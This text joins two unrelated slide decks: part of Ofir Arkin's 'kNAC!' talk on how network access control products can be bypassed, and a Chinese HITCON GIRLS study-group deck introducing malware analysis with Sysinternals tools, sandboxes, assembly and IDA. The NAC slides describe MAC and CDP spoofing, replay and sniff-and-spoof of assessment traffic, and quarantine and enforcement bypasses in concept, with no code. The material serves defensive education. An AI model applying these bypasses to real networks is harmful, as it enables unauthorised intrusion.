Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Issues with Element Detection L2 Example Product: (Can one guess?) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Other Element Detection Issues Some element detection methods provides with poor discovery capabilities – DHCP: Elements which do not use DHCP will not be discovered – SNMP Traps: Elements connecting to switches which cannot send SNMP traps in regards to new Source MAC registrations will not be discovered – Client Software: Elements which cannot install the client-based software will not be discovered © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Other Element Detection Issues Most element detection methods will not discover – NAT enabled devices – NAT in progress Virtualization makes a huge problem – Vmware – Xen – Parallels – Etc. © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Validation © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Validation Validation is the process of authorizing devices to operate on the Enterprise LAN and proving the identity of their users (as users which belong to the organization and allowed to use its network) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Validation The role of device authorization is to combat rogue devices and to make sure that only authorized devices operates on the Enterprise LAN It must be tightly integrated with element detection If a device is unauthorized, its access to the network must be immediately blocked when it is being attached to the network Most NAC solutions will not authorize devices (some would only authenticate users) And nearly all NAC solutions are not able to perform complete and real-time element detection © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Validation Some NAC solutions would only mandate to prove the identity of a user using a device on the network Some other NAC solutions would not mandate user authentication at all, or would support NAC scenarios which user authentication will not be mandated – For example, with Cisco NAC Framework, two out of three operational modes do not require user authentication One may use a non-authorized device, with proper user credentials and introduce a rogue device onto the network… – In this case the consequences would be more sever (stealing a user’s credentials) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Validation Issues Example THE GOAL Intranet/Network • 2. User is redirected to a login page • 3a. Device is non compliant or login is incorrect • 3b. Device is “clean.” Machine gets on “clean list” and is granted access to network. CCA Server validates username and password. Also performs device and network scans to assess vulnerabilities on the device. Cisco Clean Access Server Cisco Clean Access Manager • 1. End user attempts to access a web page or uses an optional client Network access is blocked until end user provides login information. Authentication Server User is denied access and assigned to a quarantine role with access to online remediation resources. Quarantine Role Cisco Clean Access Agent (optional) Source: Cisco Clean Access presentation © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Validation Tying between a device and the user using the device (and its location) creates a binding which is much needed for stronger authentication, authorization, and auditing © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Poor User Authentication Example DHCP in a Box / Authenticated DHCP © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Poor User Authentication Example DHCP in a Box / Authenticated DHCP © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! A Word About 802.1x Just a username/password protocol and nothing more then that – For other capabilities a client is required Not a device authorization solution – The credentials used with 802.1x are in most cases the same as the regular username/password pair used by a user to logon to the Domain/machine © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Assessment © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Assessment Assessment is the process of evaluating whether an element complies with the network access policy of an organization Usually only Microsoft Windows-based operating systems would undergo the assessment process © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Device identification and classification A device needs to be identified and classified (OS) in order to determine whether it should, or should not, undergo the assessment process There are various ways to classify a device – Client-based software – Active OS detection – Passive OS detection – Java scripts on captive portals – Etc. © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Device identification and classification The process of classifying a device may be circumvented – Cisco NAC Appliance Agent Installation Bypass Vulnerability • http://www.securityfocus.com/archive/1/444424/30/0/threaded • Circumventing the ‘USER-AGENT’ string, manipulating the TCP/IP OS stack, enabling personal FW, etc. – Cisco Security Response: NAC Agent Installation Bypass • http://www.cisco.com/warp/public/707/cisco-sr-20060826-nac.shtml • “Users cannot bypass authentication using the approach described in the advisory” – Clean Access - Use the Network Scanning Feature to Detect Users Who Attempt to Bypass Agent Checks • http://www.cisco.com/en/US/products/ps6128/products_tech_note09186a 0080545b62.shtml (i.e. use Nessus scripts) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Assessment Methods Client-based software Client-less Dissolving agent © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Agent-based Strengths – Can provide a wealth of information regarding a host – May detect changes in real-time © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Agent-based Weaknesses – Where to install the client? • Who are the elements we need to install this client on? • No contextual network information in the first place… • The 80/20 rule does not apply to security – One client among many – May have a performance impact • Try to tell IT they need to install another client on the desktop – Management overhead – Takes time to implement – Changing what is checked is not easy © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Agent-based Security issues – The first lesson in security is that one cannot trust “client-side” security measures – The NAC agent is a target • Cisco Security Advisory: Multiple Vulnerabilities in 802.1X Supplicant http://www.cisco.com/warp/public/707/cisco-sa-20070221- supplicant.shtml – The communications between the NAC agent and its server makes another excellent venue for attack (alerted about this more then a year ago) • Cisco Security Response: NACATTACK Presentation http://www.cisco.com/en/US/products/products_security_response09186a 00808110da.html – More attacks in the future will directly target NAC agents (like A/V agents are targeted today) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! All-In-One Agent An approach which preaches that a super agent which includes A/V, Anti-Spyware, personal FW, anti-SPAM, NAC, and other security features and capabilities is the best approach for NAC and end-point security The problem is that it is also a single point of failure If selectively attacked… you get the picture… © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Agent-less Strengths – No need to install additional software – Fast deployment – Introducing custom checks is easier Weaknesses – Information regarding a certain element may not always be available (i.e. service not available, unmanaged device, device property which cannot be reported through a management service, etc.) – Possible less granular information (method dependent) – The communications between a NAC solution and a checked device makes another excellent venue for attack © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Dissolving Agent Weaknesses – Usually available for Microsoft operating systems only (i.e. Active-X control) – Requires local administrator rights or power user rights • In enterprise environments users may have limited local rights © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! The Information Checked Local – Some of the information which is (usually) checked (and verified) as part of an element’s assessment process may be easily spoofed – For example, registry values of the Windows OS version, Service Pack version installed, patches installed, etc. Remote – The communications between the NAC agent and its server makes an excellent attack vector • Cisco Security Response: NACATTACK Presentation http://www.cisco.com/en/US/products/products_security_response09186a 00808110da.html © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! The Information Checked Replay attacks – Sniffed data of previously exchanged communications between a NAC solution to a certain client can be re-played (in a way) allowing falsifying the entire assessment process. S&S attack (Sniff & Spoof) – Sniff the communications between a NAC solution to a client in order to learn what are the parameters checked – Falsify the parameters/spoof the response on the checked host and get validated © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Exceptions Exceptions are defined for elements which cannot (or should not) participate in the NAC process (or part of it) for some reason Exceptions are defined for: – Elements which cannot run a certain software client • 802.1x • Non-Windows elements – Elements which are not running a certain operating system • MAC OS X • Linux – Etc. © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Exceptions “Hosts that cannot run the CTA (Cisco Trust Agent) can be granted access to the network using manually configured exceptions by MAC or IP address on the router or ACS. Exceptions by device types such as Cisco IP phones can also be permitted using CDP on the router. “ Source: Cisco NAC FAQ © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Cisco VoIP Devices, CDP, and NAC Now using NAC one can spoof CDP messages to allow a device access to the network from the Voice VLAN © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Exceptions “Systems without agents can be granted network access two ways. First, a non-windows exception can be made that exempts non-windows clients from the NAC process. Second, a MAC address-based exemption list can be built. This MAC address list accepts wildcards, allowing the exemption of whole classes of systems such as IP phones using their Organizationally Unique Identifiers.” Source: Network Access Control Technologies and Sygate Compliance on Contact © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Exceptions In most cases NAC solutions will not have knowledge about the exception element – What is its operating system? – What is the logical location of the element? – What is the type of the element? (i.e. VoIP phone) – Does this the same element observed before? – Etc. It is possible to spoof the MAC address of a defined exception in order to receive its access rights to the enterprise LAN © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Bypassing Enforcement Using Exceptions Product: Symantec (Sygate) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Bypassing Enforcement Using Exceptions Product: Symantec (Sygate) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Exceptions and 802.1x A username password based protocol For compliance checks must use an agent software Difficult manageability – All elements on the network must be configured to use 802.1x – Legacy networking gear must be upgraded to support 802.1x (or replaced) Not all of the networking elements can support 802.1x Not all of the elements residing on the network are 802.1x capable (i.e. legacy equipment, AS-400, printers, etc.) The cost for implementing a solution which is based on 802.1x is currently high (time, resources, infrastructure upgrade, etc.) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Exceptions and 802.1x Exceptions – Hosts that do not support 802.1x can be granted access to the network using manually configured exceptions by MAC address © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Quarantine © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Quarantine An element which does not comply with the network access policy will be placed into a quarantine The quarantine is a temporary ‘holding place’ for an element until the policy violation is remediated Access should be granted only to remediation servers The quarantine holds ‘soft targets’ that are easier to penetrate into compared to elements which comply with the network access policy © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Multitude Quarantine Methods Through the usage of ACLs on switches and/or routers A dedicated subnet (i.e. DHCP Proxy) A dedicated VLAN (i.e. The Quarantine VLAN) Private VLANs (PVLAN) Per switch port (hardware) Manipulating ARP cache entries at L2 Etc. © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Public (Shared) Vs. Private Quarantine A quarantine method which allows quarantined elements to interact with each other is known as shared quarantine A shared quarantine makes a perfect attack vector – Attacking the Enterprise’s ‘soft targets’ which are isolated and located in a single location… – Might also be known as the ‘Self Infecting VLAN’ / ‘Self Infecting Subnet’ © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Public (Shared) Vs. Private Quarantine Many NAC solutions uses the Quarantine VLAN method – Associates a device with a dedicated VLAN by dynamically assigning its VLAN ID using the switching infrastructure • The networking people loves this especially in controlled environments (like financial institutes) where a change request is required for any change – Rely on the networking infrastructure (switch) to provide with a major function of the NAC solution (quarantine) • What if the infrastructure is old? – Per-Port Per-Device policy (one to one, and not one to many) – Provides a shared quarantine – No knowledge with regards to who are the switches? – No knowledge with regards to who is connected where? © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Public (Shared) Vs. Private Quarantine Quarantine VLAN (Cont.) – No knowledge regarding the whole networking layout • VLAN hopping maybe possible – Read/Write access to the switches is required – VLAN tags are dynamically assigned © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Public (Shared) Vs. Private Quarantine A quarantine mechanism which does not allow quarantined elements to interact with each other is known as private quarantine A private quarantine may be provided using: – Private VLANs – L2-based methods © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Layer-3 based Quarantine Bypass Example Product: Symantec (Sygate) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! When should the quarantine be used? Only when an element should be assessed for compliance? – Might be too late After assessment, when it fails? – Might be too late Immediately when an element is introduced to the network – Blocking any possible interaction between the element to other elements operating on the network, as soon as a new element is introduced to the network © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! When should the quarantine be used? NAC is about risk mitigation Real-time element detection combined with immediate quarantine closes the window of opportunity for infection and/or compromise But if there is no real-time element detection and/or quarantine is not done immediately, the window of opportunity is getting just bigger and bigger © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Enforcement © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Enforcement Enforcement is the process of blocking/restricting network access from elements which do not comply with the network access policy of an organization Enforcement can be performed at L3, L2 and at the switch level In order to provide with Enforcement additional hardware (in line devices) and/or software (agents) maybe required Enforcement provided at the switch level usually is done per- port per a single device Enforcement performed at L3 is subject to many bypass issues (i.e. assigning non-routable IP addresses, shared medium issues, etc.) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Multitude of Enforcement Methods L3 L2 Switch ACLs (switch/router/FW) Manipulating ARP cache entries 802.1x PVALNs and VACLs Shutting down switch ports In-line devices / GWs IPS Style* © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Bypassing Enforcement at L3 Product: Symantec (Sygate) © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Examples © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Broadcast Listener & In-Line Devices Combo © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Broadcast Listener & In-Line Devices Combo © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Broadcast Listener & In-Line Devices Combo Deployment involves network re-architecture The in-line device should be deployed as close as possible to the access layer in order to be efficient The in-line devices is a point of failure Redundancy meaning 2x the cost The in-line device is limited by bandwidth (the more bandwidth resistance the more it costs) The broadcast listener must be deployed at each subnet One must have prior knowledge in order to fully deploy the listeners Cost © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Broadcast Listener & In-Line Devices Combo Element detection – L3 is like any other problematic L3 detection – L2 is like any other broadcast listener No form of device authorization No form of user authentication Exceptions are still needed to be used Quarantine using the switches – Shared quarantine The in-line device is used as an IPS. But what if the traffic is all normal and we are just accessing things we should not have to… © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Conclusion © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Conclusion The market place is confused Most of the available NAC solutions can be bypassed and do not supply with appropriate access controls We are starting to see a more serious attitude towards the pitfalls of various NAC solutions outlined in the ‘bypassing NAC’ original presentation When considering NAC know what you wish to achieve © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Resources © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Resources Bypassing NAC, Blackhat presentation, Ofir Arkin, 2006. Available to view at: http://www.insightix.com/resources/events/nac- presentation.aspx Bypassing NAC, Ofir Arkin, 2006. Available from: http://www.insightix.com/resources/whitepapers.aspx Risks of passive network discovery systems, Ofir Arkin, 2005. Available from: http://www.sys-security.com/blog/published- materials/papers/ © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Questions © Ofir Arkin, 2006 - 2007 Ofir Arkin, kNAC! Thank You
pdf
惡意程式分析組 病毒不再神秘 - 讓我們⽀支解惡意⾏行為! HITCON GIRLS 資安女孩 HITCON GIRLS 由⼀一群對資安有興趣,想學習更多技術的女孩們 所組成。︒ 讀書會 我們分成不同的組別,進⾏行討論、︑學習和互補, 惡意程式分析組針對 Malware 進⾏行分析,內容 其中包含各種動態⼯工具以及反組譯的討論。︒ 成員介紹 Turkey 台灣駭客協會 秘書 唯⼀一的台灣駭客協會正職XD 珣珣 輔仁⼤大學資訊⼯工程所 碩⼀一 NISRA 成員 成員 成員介紹 Joey 台灣科技⼤大學 資訊管理所 Lucas 任職於趨勢科技 Charles 任職於Team T5 教練 資安學習地圖 資訊收集 
 Information Gathering 網路安全 
 Network Security 網站與網⾴頁應⽤用程式安全 
 Web Security 系統安全 
 System Security 加密與解密 
 Cryptography 惡意程式檢測 
 Malware Detection 逆向⼯工程 
 Reversing Engineering 數位鑑識 
 Digital Forensics ⾏行動裝置 
 Mobile Devices 資安學習地圖 「數位鑑識」 Digital Forensics 覺得家裡好像有被侵入過,於是做⼀一些檢查。︒ 「惡意程式檢測」 Malware Detection 廚房地板上發現⼀一顆炸彈,移動到安全環境做檢驗。︒ 「逆向⼯工程」 Reversing Engineering 理解運作原理、︑威脅性,反向尋找兇⼿手 學習框架 惡意程式淺談 何謂惡意程式︖? 【⼿手動分析】從三⼤大層⾯面來分析惡意程式 Registry、︑Process、︑網路 ⼯工具介紹 【⾃自動分析】SandBox介紹 逆向⼯工程 組別定位 電腦好像怪怪的.. 1.警覺! 2.檢查 不好意思, 只是錯覺XD 發現惡意程式 3.分析 怎麼進來︖? 惡意⾏行為 危害程度 災害回復 組別定位 電腦好像怪怪的.. 1.警覺! 2.檢查 不好意思, 只是錯覺XD 發現惡意程式 3.分析 怎麼進來︖? 惡意⾏行為 危害程度 災害回復 惡意程式淺談 何謂惡意程式(Malware) 定義 蓄意撰寫來破壞電⼦子裝置或竊取資料的程式 何謂惡意程式(Malware) 條件特徵 強⾏行安裝 抵制移除 強⾏行彈出廣告 ⼲干擾、︑佔⽤用系統資源 停⽤用防毒軟體或其他電腦管 理程式來做進⼀一步的破壞 強⾏行修改使⽤用者軟體設定 非允許之下,紀錄使⽤用者資訊 與電腦病毒聯合侵入⽤用⼾戶電腦 …… 何謂惡意程式(Malware) Grayware 的存在 具備下列特徵的應⽤用程式 具有擾⼈人的⾏行為模式 令⼈人排斥 令⼈人難以察覺 介於「好軟體」與「壞病毒」的灰⾊色地帶 就跟槍⼀一樣,拿來打壞⼈人就是伸張正義,拿來打好⼈人就是惡意 【⼿手動分析】
 從三⼤大層⾯面來分析惡意程式 惡意程式分析的層⾯面 Registry Key Process 網路連線 惡意程式分析的層⾯面 Registry Key → 使⽤用⼯工具:AutoRuns Process 網路連線 惡意程式為了隨系統⾃自動啟動,會在 Registry建⽴立啟動項 Registry⼩小知識 ⽤用於儲存系統和應⽤用程式的設計資訊 惡意程式的分析- Registry Key 前備⼩小知識 - Registry 登錄檔/註冊表 惡意程式為了隨系統⾃自動啟動,會在 Registry建⽴立啟動項 Registry⼩小知識 ⽤用於儲存系統和應⽤用程式的設計資訊 C:\Windows\regedit.exe 前備⼩小知識 - 啟動項 每次開機就會有⼀一個⼈人⾃自動出現,準備做事 這就是啟動項! Registry 中開機先執⾏行的項⽬目,就是啟動項 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 使⽤用者⼀一登入,該程式就⾃自動執⾏行 前備⼩小知識 - 啟動項 惡意程式分析的層⾯面 Registry Key Process → 使⽤用⼯工具:ProcessExplorer 網路連線 前備⼩小知識 - Process 觸發程式 → 被載入記憶體 → 產⽣生程序了! 程序 (process)
 可以說就是⼀一個正在運作中的程式。︒ 分析惡意程式⼯工具 - ProcessExplorer ProcessExplorer - 記憶體中在執⾏行的所有程 序及其⽬目錄 作⽤用類似於⼯工作管理員,優點在於可以顯⽰示 程序所連結的動態連結資料庫(DLL)檔,達 到觀察的⽅方便性 惡意程式分析的層⾯面 Registry Key Process 網路連線 → 使⽤用⼯工具:TCPView 分析惡意程式⼯工具 - TCPView TCPView - 記錄對外連線 顯⽰示連線記錄、︑每筆連線記錄是由哪⽀支程式 造成的 ⼩小節 Registry Key → 使⽤用⼯工具:AutoRuns Process → 使⽤用⼯工具:ProcessExplorer 網路連線 → 使⽤用⼯工具:TCPView 【⾃自動分析】
 從三⼤大層⾯面來分析惡意程式 線上的⾃自動分析網站 線上 SandBox Virustotal Anubis Comodo SandBox 介紹 是⼀一個受限制的環境,是⼀一種安全機制,為 執⾏行中的程式提供的隔離環境。︒ 通常是作為⼀一些來源不可信、︑具破壞⼒力或無 法判定程式意圖的程式提供實驗之⽤用。︒ SandBox 線上服務 - Anubis SandBox 線上服務 - Comodo SandBox 線上服務 - Virustotal 聽到這邊你⼀一定會有疑惑…⋯…⋯ 為什麼需要⼿手動又⾃自動化︖?⽤用⼀一種⽅方法測試 不就好了嗎︖? 聽到這邊你⼀一定會有疑惑…⋯…⋯ 為什麼需要⼿手動又⾃自動化︖?⽤用⼀一種⽅方法測試 不就好了嗎︖? 部分⾏行為是模糊的,正常軟體有此⾏行為,惡意 程式也會有,因此很難單純以⾏行為做為是否惡 意的評斷 比較狡猾的惡意程式可能會躲避常⽤用的⼯工具、︑ 或是讓 SandBox 無法檢測出 中場⼩小結 惡意程式進⾏行
 加殼,會是新的 關卡 透過⼯工具可以收 集到很多資訊, 卻不確定是否相 關,需要培養篩 選資訊的能⼒力 篩選的能⼒力 加殼 ⼀一次分析需要⼤大 量的時間反覆確 認 經驗不⾜足 如果遇到無法分析的狀況 假設狀況是,⼯工具無法分析、︑SandBox 沒有結 果,就需要…最後的絕招 每個主角都有不想祭出的最後絕招 可能會對⾃自身造成傷害 …⋯…⋯最後拿出來才帥啊!!! 啊就傲嬌嘛 「啊啊,我本來不想⽤用這招的」 「天啊!是逆向⼯工程!」 逆向⼯工程 逆向⼯工程 Reverse Engineering 泛稱對⽬目標進⾏行逆向分析及研究,得出其流 程、︑結構 逆向⼯工程 逆向⼯工程 Reverse Engineering 泛稱對⽬目標進⾏行逆向分析及研究,得出其流 程、︑結構 Source code …⋯…⋯你們在哪裡︖? 惡意程式 .EXE 居多 .exe (executable file) 通稱執⾏行檔 他…⋯…⋯看不到原始碼啊啊啊! 逆向⼯工程…⋯…⋯…⋯我們要分析的是︖? 遠古時代嗚嘎嚇嘎 - 機器語⾔言 系統a呢,其實只認得 0 和 1 我們稱做為 Binary ? 逆向⼯工程…⋯…⋯…⋯我們要分析的是︖? 喔喔喔已知⽤用⽕火! - 組合語⾔言 從 0 和 1 延伸出⼀一種神奇的東西 簡短的指令,讓⼈人類能讀能寫 ? ! 逆向⼯工程…⋯…⋯…⋯我們要分析的是︖? 組合語⾔言挑戰了⼈人類閱讀的極限 所以現在有許多⾼高階語⾔言,好讀好寫好親切 機器語⾔言 → 組合語⾔言 → ⾼高階語⾔言 逆向⼯工程…⋯…⋯…⋯我們要分析的是︖? 組合語⾔言挑戰了⼈人類閱讀的極限 所以現在有許多⾼高階語⾔言,好讀好寫好親切 .EXE 機器語⾔言 → 組合語⾔言 → ⾼高階語⾔言 逆向⼯工程…⋯…⋯…⋯我們要分析的是︖? 組合語⾔言挑戰了⼈人類閱讀的極限 所以現在有許多⾼高階語⾔言,好讀好寫好親切 機器語⾔言 → 組合語⾔言 → ⾼高階語⾔言 .EXE 「啊啊,我本來不想⽤用這招的」 因為你們可能會睡著 我們進入鑽⽊木取⽕火時代囉ಠ_ಠ 親愛的程式碼我們來惹
 ヾ(*´∀`*)ノ 逆向⼯工程 - 組合語⾔言 你在說什麼︖? 呼嘎蝦嘎呼嚕達︖? MOV CMP JMP 逆向⼯工程 - 組合語⾔言 MOV CMP JMP (Move) 移動 (Compare) 比較 (Jump) 跳躍 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 EDX EAX 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 EDX EAX 8000h 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 EDX = 8000h EAX 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 EDX = 8000h EAX 4h 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 EDX = 8000h EAX = 4h 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 EDX = 8000h EAX = 4h 換句話說 edx = 8000h eax = 4h h 是 16 進位的意思 逆向⼯工程 - 組合語⾔言 CMP (Compare) 比較 JMP (Jump) 跳躍 逆向⼯工程 - 組合語⾔言 CMP (Compare) 比較 JMP (Jump) 跳躍 EDX = 8000h EAX = 4h 逆向⼯工程 - 組合語⾔言 CMP (Compare) 比較 JMP (Jump) 跳躍 EDX = 8000h EAX = 4h VS If Above, Jump to NextLoop 逆向⼯工程 - 組合語⾔言 CMP (Compare) 比較 JMP (Jump) 跳躍 EDX = 8000h EAX = 4h VS If Above, Jump to NextLoop NextLoop 逆向⼯工程 - 組合語⾔言 CMP (Compare) 比較 JMP (Jump) 跳躍 EDX = 8000h EAX = 4h VS If Above, Jump to NextLoop NextLoop 逆向⼯工程 - 組合語⾔言 CMP (Compare) 比較 JMP (Jump) 跳躍 EDX = 8000h EAX = 4h VS If Above, Jump to NextLoop NextLoop 逆向⼯工程 - 組合語⾔言 CMP (Compare) 比較 JMP (Jump) 跳躍 EDX = 8000h EAX = 4h VS If Above, Jump to NextLoop NextLoop 逆向⼯工程 - 組合語⾔言 JMP (Jump) 跳躍 數字⼀一定是正號或負號 兩個數字的關係⼀一定是三⼀一律 等於 = ⼤大於 > ⼩小於 < 逆向⼯工程 - 組合語⾔言 JMP (Jump) 跳躍 數字⼀一定是正號或負號 兩個數字的關係⼀一定是三⼀一律 等於 = ⼤大於 > ⼩小於 < 意義 無號 有號 x = y Equal JE JE x > y Above, Greater JA JG x < y Below, Less JB JL 逆向⼯工程 - 組合語⾔言 MOV (Move) 移動 CMP (Compare) 比較 JMP (Jump) 跳躍 如果有需要,不妨回頭查表格! 不⼀一定與 CMP 並存 逆向⼯工程 - 組合語⾔言 Push 與 Pop
 Call 呼叫 呼叫副程式! Stack Push Pop 逆向⼯工程 反組譯 逆向⼯工程應⽤用在軟體裡的其中⼀一種⽅方法 把機器碼轉換成組合語⾔言 分成動態和靜態兩種⼿手法 動態分析,必須運作該程式 靜態分析,不運作該程式 逆向⼯工程 - 靜態與動態分析優缺點 動態分析 靜態分析 優 • 可知執⾏行時的真實⾏行為 • 可信度⾼高 • 分析範圍較⼤大、︑較完整 • 不受特定招數影響 • 不需要運⾏行程式 缺 • 容易被躲避 • 需要運⾏行程式 • 被混淆的程式碼分析困難 • 無法得知執⾏行時的資訊 動態分析 - ⼯工具 Immunity Debugger 哈囉!ヽ( ´∀`)ノ Olly Dbg 說你好!ヽ( 。︒∀。︒)ノ 動態分析 - ⼯工具 Immunity Debugger 哈囉!ヽ( ´∀`)ノ 乁◔౪◔ 靜態分析 - ⼯工具 IDA 安安!ヽ( ´∀`)ノ IDA Pro,為Interactive Disassembler公司的 反組譯與除錯產品。︒常⽤用於逆向⼯工程。︒
 靜態分析 - ⼯工具 靜態分析 - ⼯工具 記憶體位置 靜態分析 - ⼯工具 這裡都是組合語⾔言啊啊啊 靜態分析 - ⼯工具 選擇 Subviews 可以看到各種⼦子分⾴頁
 組合語⾔言 程式中的字串 使⽤用到的 Windows API Binary 格式 實例分析之 IDA - Honeynet Q2 ⽬目標 Malware 的⾏行為 Malware 下載的檔案 該檔案的⾏行為 ⾸首先把 trivus.exe 把它扔進 IDA ! 好希望解答⾃自⼰己跑出來(´;ω;`) IDA - Honeynet Q2 IDA - Honeynet Q2 ? 實例分析之 IDA - Honeynet Q2 第⼀一個難關:加殼! 這個是未來讀書會要延伸的研究之⼀一 此處先跳過OAQ 加入我們⼀一起研究吧! IDA - Honeynet Q2 實例分析之 IDA - Honeynet Q2 第⼆二個難關:怎麼看︖? 發現程式碼很長…⋯…⋯很長…⋯…⋯…⋯…⋯
 使⽤用 String Windows 起⼿手! 字串⼤大多會明碼留在程式裡! IDA - Honeynet Q2 IDA - Honeynet Q2 實例分析之 IDA - Honeynet Q2 Trivus.exe ⼩小結 可能⽣生成 service.exe malware.exe 實例分析之 IDA - Honeynet Q2 Trivus.exe ⼩小結 service.exe malware.exe services.sys IDA - Honeynet Q2 透過點擊 移動到該 String 
 出現的地⽅方 IDA - Honeynet Q2 透過點擊 移動到該 String 
 出現的地⽅方 在 IDA 裡
 粉紅⾊色的都是
 Windows API 什麼是 API ︖? API (Application Programming Interface) 應⽤用程式開發介⾯面 為了⽅方便使⽤用 提供 Function ,直使呼叫便可使⽤用 實例分析之 IDA - Honeynet Q2 第三個難關:Windows API 我怎麼知道這個 API 是什麼︖?
 就…⋯…⋯查吧!除非你是⼈人體字典! CopyFile WinExec IDA - Honeynet Q2 IDA - Honeynet Q2 先來個⼈人類語⾔言版本說明 CopyFile 複製⼀一個已存在檔案,另外成為⼀一個新檔 WinExec 運作指定的應⽤用程式 IDA - Honeynet Q2 再來個挑戰版本 CopyFile lpExistingFileName lpNewFileName bFailIfExists WinExec lpCmdLine uCmdShow IDA - Honeynet Q2 再來個挑戰版本 CopyFile lpExistingFileName lpNewFileName bFailIfExists WinExec lpCmdLine uCmdShow IDA - Honeynet Q2 WinExec 運作指定的應⽤用程式 其中⼀一個參數還可以隱藏! 實例分析之 IDA - Honeynet Q2 Trivus.exe ⼩小結 ⽣生成檔案 其中⼀一個檔案會偷偷運作 似乎離發現⾏行為還有段距離︖? IDA - Honeynet Q2 前呼後應!讓我⽤用⽤用看前⾯面的⼯工具! ProcessExplorer TCPView IDA - Honeynet Q2 前呼後應!讓我⽤用⽤用看前⾯面的⼯工具! ProcessExplorer TCPView 絕對不是偷懶 T_T 同學們快醒來啊~ IDA - Honeynet Q2 前呼後應! IDA - Honeynet Q2 前呼後應! IDA - Honeynet Q2 前呼後應!讓我⽤用⽤用看前⾯面的⼯工具! ProcessExplorer 多了⼀一個service.exe 在 C:\WINDOWS\system32 備註:正常XP下該資料夾位置下有 services.exe TCPView 發現⼀一個由 service.exe 建⽴立的連線,3307port 實例分析之 IDA - Honeynet Q2 ⽬目標 Malware 的⾏行為 Malware 下載的檔案 該檔案的⾏行為 實例分析之 IDA - Honeynet Q2 ⽬目標 Malware 的⾏行為 Malware 下載的檔案 該檔案的⾏行為 把剛剛的動作 LOOP ⼀一遍 什麼︖?!那還要多久︖?! 實例分析之 IDA - Honeynet Q2 ⼼心得 需要相當有程度耐⼼心 不懂的資訊,就去查!需要反覆操作才會熟悉! 看久你就會變成組合語⾔言之神啦!!!!! 教練:「要多累積經驗!」 總結 無法預測有什麼樣的惡意⾏行為 對於舊的威脅,需要經驗和資料 對於新的威脅,需要耐⼼心和⼈人⼒力 複數⼯工具交叉比對,增加分析正確的機率 快樂懶⼈人包\( ´∀`)/ 初步了解惡意程式 從三個層⾯面去評估該軟體會有什麼⾏行為 Registry、︑Process、︑網路⾏行為 Online Sandbox IDA Pro 使⽤用⽅方法 ⾯面對分析需要耐⼼心、︑細⼼心和⼀一些基本知識 QA 時間 希望有興趣的女⽣生可以加入我們!
 開放提問「不困難的問題」XDDD 感謝三位教練提攜!
pdf
